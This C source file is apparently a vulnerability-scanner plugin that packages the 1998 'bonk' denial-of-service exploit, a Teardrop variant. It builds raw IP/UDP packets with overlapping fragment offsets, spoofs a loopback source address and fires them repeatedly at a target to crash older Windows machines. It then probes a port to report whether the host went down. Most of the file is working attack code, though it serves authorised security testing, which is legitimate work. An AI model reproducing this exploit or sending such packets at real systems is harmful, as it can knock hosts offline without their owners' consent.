/*
 * 
 * bonk
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */

/*

  [ http://www.rootshell.com/ ]

                                ==bendi - 1998==

                        bonk.c        -         5/01/1998
        Based On: teardrop.c by route|daemon9 & klepto
        Crashes *patched* win95/(NT?) machines.

        Basically, we set the frag offset > header length (teardrop
        reversed). There are many theories as to why this works,
        however i do not have the resources to perform extensive testing.
        I make no warranties. Use this code at your own risk.
        Rip it if you like, i've had my fun.

*/

#include <includes.h>
#include <netinet/ip.h>
#ifdef HAVE_NETINET_UDP_H
#include <netinet/udp.h>
#endif

#ifdef HAVE_NETINET_IP_UDP
#include <netinet/ip_udp.h>
#endif

#ifdef HAVE_NETINET_PROTOCOLS
#include <netinet/protocols.h>
#endif

#ifdef HAVE_UCBINCLUDE
#ifdef BSD
#undef BSD
#else
#define BSD
#endif
#endif

#ifdef BSD
#define iphdr ip
#define version ip_v
#define ihl ip_hl
#define tot_len ip_len
#define id ip_id
#define ttl ip_ttl
#define protocol ip_p

#define frag_off ip_off
#define source uh_sport
#define dest uh_dport
#define len uh_ulen
#endif

#define IP_UDP IPPROTO_UDP
#define FRG_CONST       0x3
#define PADDING         0x1c



#define NAME "Bonk"
#define DESC "Variation of Teardrop which crashes some Windows boxes"
#define COPYRIGHT "bendi"
#define SUMM "another ip fragment denial of service"

static
struct udp_pkt
{
        struct iphdr    ip;
        struct udphdr   udp;
        char data[PADDING];
} pkt;

static
int     udplen=sizeof(struct udphdr),
        iplen=sizeof(struct iphdr),
        datalen=100,
        psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
        spf_sck;                        /* Socket */



int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
           int dst_prt)
{
        int     bs;
        struct  sockaddr_in to;

        memset(&pkt, 0, psize);
                                                /* Fill in ip header */
        pkt.ip.version = 4;
        pkt.ip.ihl = 5;
        pkt.ip.tot_len = FIX(udplen + iplen + PADDING);
        pkt.ip.id = htons(0x455);
        pkt.ip.ttl = 255;
        pkt.ip.protocol = IP_UDP;
#ifndef BSD
        pkt.ip.saddr = src_addr;
        pkt.ip.daddr = dst_addr;
#else
	pkt.ip.ip_src.s_addr = src_addr;
        pkt.ip.ip_dst.s_addr = dst_addr;
#endif
        pkt.ip.frag_off = FIX(0x2000);        /* more to come */

        pkt.udp.source = htons(src_prt);        /* udp header */
        pkt.udp.dest = htons(dst_prt);
        pkt.udp.len = htons(8 + PADDING);
                                                /* send 1st frag */

        to.sin_family = AF_INET;
        to.sin_port = src_prt;
        to.sin_addr.s_addr = dst_addr;

        bs = sendto(sck, (void *)&pkt, psize, 0, (struct sockaddr *) &to,
                sizeof(struct sockaddr));

        pkt.ip.frag_off = FIX(FRG_CONST + 1);         /* shinanigan */
        pkt.ip.tot_len = FIX(iplen + FRG_CONST);
                                                        /* 2nd frag */

        bs = sendto(sck, (void *)&pkt, iplen + FRG_CONST + 1, 0,
                (struct sockaddr *) &to, sizeof(struct sockaddr));

        return bs;
}

int test_open_port(struct arglist * args);
PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
        plug_set_name(desc, NAME);
        plug_set_description(desc, DESC);
        plug_set_summary(desc, SUMM);
        plug_set_copyright(desc, COPYRIGHT);
        plug_set_category(desc, ACT_DENIAL);
        plug_set_family(desc, "Denial of Service");
        return(0);
}

PlugExport int plugin_run(struct arglist * args)
{
        u_long  src_addr,
                dst_addr;
        int on;
        struct in_addr *a = emalloc(sizeof(struct in_addr));

        int     i,
                src_prt=53,
                dst_prt=53,
                bs = 1,
                pkt_count = 10;         /* Default amount */


        
        /* Resolve hostnames */
	
        inet_aton("127.0.0.1", a);
        src_addr = a->s_addr;
        efree(&a);
        a = plug_get_host_ip(args);
        dst_addr = a->s_addr;
    
        spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (!spf_sck)
                return(0);
        if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
        sizeof(bs)) < 0)
                return(0);

        for (i = 0; i < pkt_count; ++i)
        {
                fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
                usleep(10000);
        }
        if(!(on=test_open_port(args)))post_hole(args, -1, 
"A denial of service could be perfomed using the 'bonk' attack\n\
Solution : contact your vendor for a fix");
 if(on==-1)post_info(args, -1, 
"It *may* be possible that the remote host crashed after a bonk attack,\n\
although it could not be verified");
 return(0);
}

int test_open_port(struct arglist * args)
{
 struct arglist * host; 
 struct arglist * ports;
 int i;
 int soc;
 
 host = arg_get_value(args, "HOSTNAME");
 ports = arg_get_value(host, "PORTS");
 if(ports && ports->name)i = atoi(ports->name);
 else return(-1);
 
 if((soc = open_sock_tcp(args, i))>0){
 	socket_close(soc);
 	return(1);
 	}
 else return(0);
}

